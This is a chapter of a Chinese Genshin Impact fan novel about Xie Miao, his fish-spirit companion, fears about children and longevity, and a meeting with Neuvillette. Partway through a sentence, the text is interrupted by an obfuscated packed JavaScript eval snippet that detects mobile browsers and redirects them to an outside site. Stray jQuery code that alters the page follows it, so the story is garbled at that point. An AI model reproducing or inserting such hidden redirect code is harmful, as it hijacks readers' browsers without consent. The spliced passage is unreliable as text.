126.如果我爱你
作品:《[原神]就算是愚人众副官也有恋爱需求》 原本喋喋不休的小鱼突然噤声。
“怎么不说话了,累了吗?”
[……刚刚有股被盯上的,毛骨悚然不寒而栗的感觉。]小鱼打了个激灵,疑惑又懊恼,[我已经很久很久没有这样的感受了,真奇怪。]
老乡谢苗斩钉截铁一锤定音:“这地方克咱俩,快走吧。”
[……有道理。]小鱼说服了自己。
一人一鱼趁着混乱溜出了欧庇克莱歌剧院,行至露景泉看见有情侣在投币许愿,小鱼撺掇他也去许一个。
“为什么?求人不如求己。”谢苗先是诧异然后补充一句,“虽然这个世界确实很不科学。”
[岂止是不科学,你可真会说冷笑话。喏,那边的露景泉是枫丹夫妇情侣许愿求子的好地方,你有男朋友,不考虑一下吗?]
“……我记得这本文没有打生子预警。”
[好说好说——先上车后补票嘛。]
“这句话是这么用的吗?”
[所以你们想不想要一个孩子?想要的话求求我,我塞一个到你们其中一个人的肚子里。]
“……不了,我不想要孩子。”
[我以为人类恋爱会渴望一个爱情的结晶、幸福的见证、生命的延续?]
“比起所谓的爱情结晶,我更害怕那个莫须有的孩子会在双亲意外身亡后被送入壁炉之家——哪怕只有千万分之一的概率。”
谢苗看着泉水在阳光下晶莹闪烁的跃动,暖和的水花迸溅在皮肤上,触感一下子将他拉回十几年前妈妈抚摸脸颊、然后将他推走的生死时刻。
那是原本的谢缪尔的记忆,那个可怜的孩子看见双亲被深渊吞噬、同化、自杀的全过程,患上了失语症,高烧不退——当时所有人都当作是身体太弱发烧,其实是惊厥后的身体反应。
谢苗本来是没有妈妈的,他难以想象一个母亲是抱着怎样的心情孕育一个生命、一个孩子,然后含辛茹苦将其扶养长大,又在生死时刻选择放弃自己的生命,选择延续孩子的生命。
他在感受爱之前就体验到了彻骨的恐惧,比起赞颂母爱的伟大,他更愿意用壁炉之家的经历警示自己:不要生下孩子,不然你死后他就会被送入壁炉之家,完整的重复一遍你走过的路。
那真是个恐怖故事。
“我……本来的人生规划里并没有恋爱结婚这一条。”
“如果要论性取向,第一性向应该是女性,其次才是男性。毕竟在遇到小阳之前,我被问到未来择偶要求时首先想到的是女性形象。”
他站在阳光下,面对求子的泉水冷静的剖析自己内心最隐秘的角落:“以前不找对象,是因为没碰到喜欢的人。后来不找对象,是选择放弃延续血脉和生命。”
[那……你选择他是因为什么呢?]
“因为他喜欢我,我也喜欢他。”谢苗说着说着有点想来一支烟,可惜他不抽烟,遗憾放弃,“男人这种生物,喜欢或者爱一个人的标准无非三条:给他或者她花钱、花时间、生孩子。其他的都是虚的。”
小鱼笑了笑:[确实如此。]
“我没有他在我身上付出的钱多,也没有很多时间陪他,更没法给他生孩子。今天你把机会摆在我眼前,我也会拒绝。因为我太害怕了。”
“那是我小时候反复警告过自己的话,人总不能背叛小时候的自己吧?所以我对他总有一种……难以遏制的亏欠和愧疚。”
“卡吕普迪斯,说句真心话。在你找到我说那些话之前,我一直都很清楚我活不了多久。自然寿命大概最多只能支撑我活到三十岁。”
[因为你脑子里的有个芯片。]
“这是其中之一。因为这块芯片,因为薄荷鸡在我心脏里做的手脚,因为我原本的职业定位。我活不了玛格丽特姨妈那么久。她那一代的实验体只剩她一个,她活到现在全靠她能忍。”
[她把脑子的芯片挖出来了,心脏也接受过改造,活到现在灵魂已经千疮百孔。]小鱼去过海屑镇看过那位巡林员,他看得很清楚。
“第二个原因也是这个,要是我的身体能抗过三十岁的那道坎,精神也受不住的。失控发疯然后被处决,下场和那些突然咬人的宠物狗没什么不同。”谢苗叹了一口气,“我已经很努力的活着了,半夜做噩梦的次数还是那样多,每次都很想哭,每次都忍住了。没谈恋爱之前死了我哥他们会哭,谈了恋爱之后他会哭,我不想他们哭,我只能活着。”
你以为他不想要长生是他很豁达吗?不是的,他只是被生活折磨得没招了,唯一的挣扎就是想体面的死。
[……谢苗……]
“所以在我遇到你之后,听到你说王改造了我的心脏和身体,慢慢变为长生种的时候,除了荒谬更多的还是高兴,然后才是恐惧。”
“这样我就能陪他们更久吧?”
“我不会有孩子,我只能靠时间去陪伴他了。”
“你是对的,卡吕普迪斯。我真的会选择接受长生。”
回旋镖到底还是扎自己身上了。
如果小鱼还是年轻那会,可能当时就和谢苗抱头痛哭了。但他已经不再年轻,他是个可靠的年长者、过来人。
[这是短生种必然经历的生死离别。人生不过短短几十载,流光一瞬,所以爱恨都显得格外尖锐且深刻。]
[不过我更希望你在选择成为我们中的一员前先明白一点:你是为他们选择长生,还是为了自己?]
[如果是为亲人和爱人选择漫长的孤寂,迟早会生出怨怼来的。那会破坏你们的情谊,我不希望你为此失控,也不愿看见曾经真挚的情谊腐烂。]
谢苗轻笑:“当然是为我自己啊。”
[我知道了。不过你仍有后悔的机会,真正的抉择还未到来……你会明白的。]
如果你真的是为了自己做出选择,为什么还会恐惧呢?
小鱼有些后悔在这里打趣他,然后牵扯出这样多伤心的情绪了。
暮色深沉,星子点缀夜空。德波大饭店依旧是亮堂堂的,往来食客觥筹交错、杯壁映照出穹顶水晶灯的光芒、以及各色情绪浮现的眼眸。
谢苗依旧是和小鱼选择单人餐,坐在无人打扰的僻静位置享用晚餐,嘀嘀咕咕的讨论哪道菜更好吃,哪道菜欠缺了火候。
[你一定要当我的新同事啊,王总是不吃东西,*我*躺在海里也不吃,害得我想尝尝老味道都吃不到嘴。]小鱼钻进整个纳博内番茄盅吃得直摇尾巴,[进食就是人生最快乐的事情啦。]
谢苗深以为然。
[接下来你要做什么事,等达达利亚来吗?]
“嗯,我只是协助者的助手。真的用不上我,在这边好好玩一段时间就行。”谢苗看得很开,至于和壁炉之家的合作款项——反正是要回至冬的,在哪不能聊?
[唔——我想想啊……]小鱼吃完用纸巾优雅的擦擦嘴,洗洗脸,[不知道湖中垂柳那地方现如今怎么样了,抽空带你去玩。拍照挺出片的。]
谢苗不太懂,但是选择顺从。继续吃饭,发现眼前的鱼突然呲溜一下钻到他怀里。
桌上菜肴蒙上阴影,谢苗顿了顿,缓慢的抬起眼:“晚上好,这位先生,请问有什么事吗?”
“……冒昧打扰,我们曾在今天下午五点三十二分的欧庇克莱歌剧院有过短暂的一面之缘。”来者彬彬有礼,态度诚恳没什么敌意,目光也尽量放到一个不会让谢苗感到冒犯的位置,“在歌剧院的时候我听见您在自言自语……请别担忧,那声音并不大,也未曾影响到任何人观看表演。只是在散场时我听见了另外的声音。就在刚刚,我证实了那并非幻觉。”
“谢苗·雪奈茨维奇先生,不知您是否愿意为我解答疑惑呢?”
谢苗:(●—●)
谢苗:哥们这地方真克你啊,私聊频道怎么还能被外人听见啊。
小鱼没说话,只是一个劲的发抖。要不是怕钻出衣领会被这个奇怪的家伙看见,他巴不得立刻回到脑海中。
最后吃完饭的谢苗被请进了沫芒宫最高审判官的办公室,门口的美露莘公务员塞德娜一眼就认出他来了,微笑着招手。
进门后用来招待谢苗的并非审讯,而是红茶牛奶小饼干,以及一杯清亮的水。
送上这些小点心的塞德娜任务完成,关上门后离开。留下谢苗和这个奇怪的男人面面相觑——“原来您就是枫丹的最高审判官那维莱特先生,真是失敬……”
“现在是沫芒宫公务员下班后的时间,我也只是私人身份邀请你、你们来此小叙。抱歉,我知道这种行为称得上唐突且失礼,但出于我个人的请求,以及隐隐涉及枫丹安全的信息,我恳请雪奈茨维奇先生让那位——在您衣襟下颤抖的存在露面,好吗?”
谢苗木着脸把小鱼提起来,拎着尾巴放进那只银色水杯。
小鱼咕噜咕噜吐着泡泡,绝望又无奈的开口问出谢苗此时此刻最想知道答案的问题:[你为什么能看见我?]
“抱歉,这个话题涉及我个人难以袒露的隐私……”他相当歉疚。
[你死过一次?或者是前代轮回的遗民?]小鱼破罐子破摔,[不然这解释不通。]
“……这位——鱼先生,你真的没有察觉到什么联系吗?”
躺在银制水杯里的小鱼翘起尾巴探出头,鱼鳍扶着杯边缘撑起上半身——咸鱼打挺的姿势差点
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16451975|173207||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
让谢苗不合时宜的笑场。
[什么联系?你不要空口无凭的污蔑人阿不,鱼啊。我是清白的。]
那维莱特垂下眼睫。
谢苗被轰然的雷声吓得一哆嗦,沫芒宫外很快下起噼里啪啦的瓢泼大雨。雨珠一下一下打砸玻璃窗,似乎是想扣开谁的心扉。
怎么个事?
只有谢苗感觉自己跟这里格格不入,只能端起茶杯喝茶。
父亲大人,我出息了,直接被枫丹最高审判官接到沫芒宫招待了哈哈哈哈哈——艹!!!
然而小鱼和那维莱特的抓马故事还在继续。
[你哭什么?不对,我为什么会知道你在哭……]
小鱼游到那维莱特身前:[不是吧,真哭了?这么多愁善感的吗?]
谢苗偷偷抬眼看,实际上这位审判官先生的脸颊干干净净一滴泪都没有——这俩玩意到底在打什么哑迷?
“抱歉,让二位看笑话了。”
谢苗皮笑肉不笑:“不敢不敢。”
小鱼瞅了瞅这位先生好几眼:[我对你没什么印象,不过*我*应该知道。不介意的话我就摇人咯?你不坦诚*我*也不坦诚,到时候让你俩大眼瞪小眼——等等,*我*挂我电话!]
那声音离奇的愤怒,小鱼如果有人形,这会应该已经张牙舞爪七窍喷火了:[可恶的卡吕普迪斯!连自己的通讯都挂吗?!]
倒是谢苗突然反应了过来,猛的起身伸手合掌将在空气中发泄的小鱼抓住、坐下、捞回怀里:“别问了。”
小鱼和那维莱特都看过来。一个疑惑,一个不带任何温度。
谢苗压力颇大,但是很有骨气的抗住了,稍微组织一下词措就开始输出:“首先我要声明一点,我的这位……小鱼朋友,他的灵魂是不完整的。目前的小鱼是由最快乐最温暖的记忆组成的形态,所以他会显得比较娇憨、娇纵、或者说是纯真。而被他称呼为*我*的是剩下的灵魂体——我知道这有些匪夷所思,但事实确实如此。那个灵魂过于痛苦所以选择回避冷处理。”
“那维莱特先生,如果我的这位朋友之前做过对不起你的事,我代他向你道歉,也愿意赔偿。但请不要继续追问更多,我不希望他回想起那些可能会再一次让他痛苦的记忆。”
那维莱特愕然:“……抱歉……我——我未曾预想过这样的可能。”
那维莱特努力解释:“请不必这样,既然二位是朋友,我也应该珍重对待。不必提道歉或者赔偿之类的话了,小鱼先生以及他的另一半灵魂从未做过对不起我的事。我只是……我只是太过好奇,我们本该有一条缘分的线,为何这一次没有相连——抱歉,我失言了……”
审判官一段话不知道说了多少次“抱歉”。
小鱼一脸懵:[缘分的线?]
小鱼沉思:[缘分的话,我想想——我没有爱人,应该是亲人或者朋友。朋友基本都死了,新交的这个也死了几次。亲人的话……我应该,有过一个兄弟?]
他自己也不太确定,只是记忆千疮百孔如同干瘪的莲房四处漏风,稍稍回忆深层次的东西就能发现不对劲。
那维莱特:“那你的兄弟现在如何了?”
[应该是死了。]小鱼很爽快的回答,[我如今效忠的王还说怕我一条鱼孤单,所以放我出来找新朋友玩之类的话。如果兄弟还活着怎么可能会孤单呢?]
谢苗也点点头,如果他的人生没有恋爱分支选项。瓦西里帕维尔他们死了自己才算举目无亲,但凡有一个人活着谢苗都不会被说孤单。
像小鱼本魂那样强大的存在,如果兄弟还活着怎么可能不在一起呢?
但是不知道那维莱特为什么满眼都是震惊和无措,这种情绪来得太急,匆匆冲洗他的理智和灵魂,以至于面部表情空白了一瞬。
不过好在他很快就恢复了先前的镇定,彬彬有礼的总结:“原来是这样。小鱼先生的兄长已经身死,所以才选择效忠新主、遗忘过去吗?”
小鱼没听出不对劲来:[应该是吧。]
谢苗给他塞了一块饼干强行闭麦:“身死债消。不论从前种种,死亡也见证了一段契约、情感的结束。我想那维莱特先生应该明白这个道理。”
“……枫丹的律法和璃月有所不同。枫丹律法审判的不止是□□、还有灵魂。”那维莱特目光坦荡,“如果谢苗先生认为一段关系里其中一方死亡,情感就随之终结甚至消亡。但我说在这个有诸多长生种的世界里,死亡的一方再次回到世上并保留了全部记忆,作为置身事外的谢苗先生又会如何判决?”
那双有着珍珠光彩的眼睛里,是细细的竖状瞳仁。
那是龙。